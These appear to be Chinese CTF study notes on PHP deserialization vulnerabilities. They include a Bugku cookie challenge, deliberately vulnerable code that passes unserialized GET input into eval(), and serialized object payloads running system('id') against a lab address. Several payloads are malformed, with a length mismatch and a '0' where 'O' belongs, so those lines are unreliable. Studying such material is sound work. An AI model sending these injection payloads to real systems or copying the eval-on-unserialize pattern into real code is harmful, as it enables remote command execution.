php面向对象基础知识

内部构成

成员变量(属性)在类中直接定义的变量

成员函数(方法)在类中定义的函数

对象 是对类的实例化

类的修饰符 决定了成员属性的调用范围

(图里类的子部应该是类的子类

序列化基础知识

魔术方法

反序列化逃逸

session反序列化漏洞

phar反序列化

简单的payload例题

例1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];

if(isset($_GET['23065'])) {
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"></p>
</form>
</div>
</body>
</html>
<?php
}
?>

其中$_COOKIE超全局变量,实际上就是浏览器里的cookie,有[]证明它其实是个数组,其中有一个名为BUGKU的数据

$cookie = $_COOKIE[‘BUGKU’]就是把后者赋值到前者,方便表达

===是全等运算符,要保证两端的值和类型都相等

也就是说,必须让cookie反序列化的结果和变量KEY全等,也就是等于ctf.bugku.com

由于这里没有类,不涉及对象,payload直接用字符串反序列化的格式即可

bp抓包后把cookie的值改成s:13:'ctf.bugku.com';即可

例2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);

class test {
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}

$get = $_GET["benben(可控字符串)"];
$b = unserialize($get);
$b->displayVar() ;

?>

$_GET同样是超全局变量

它可用于收集提交HTML表单(method=”get”)之后的表单数据。_GET也可以收集URL中的发送的数据

eval()可以执行命令

我们必须要让定义的$a为我们想执行的命令,比如system("id");

反序列化函数unserialize会根据我们提供的字符串,在内存中重新创建一个全新的对象

O:4:"test":1:{s:1:"a";s:15:"system('id');";}

就是找到tset这个类,生成成员方法为a,值是system('id')的对象

而这段payload可以通过GET方式被提交

172.16.1.6:8006/class06/index.php?benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";}

魔术方法

benben=O:4:”User”;1{s:8:”username”;s:2:”ls”;}

benben=0:4:”User”;1{s:8:”username”;}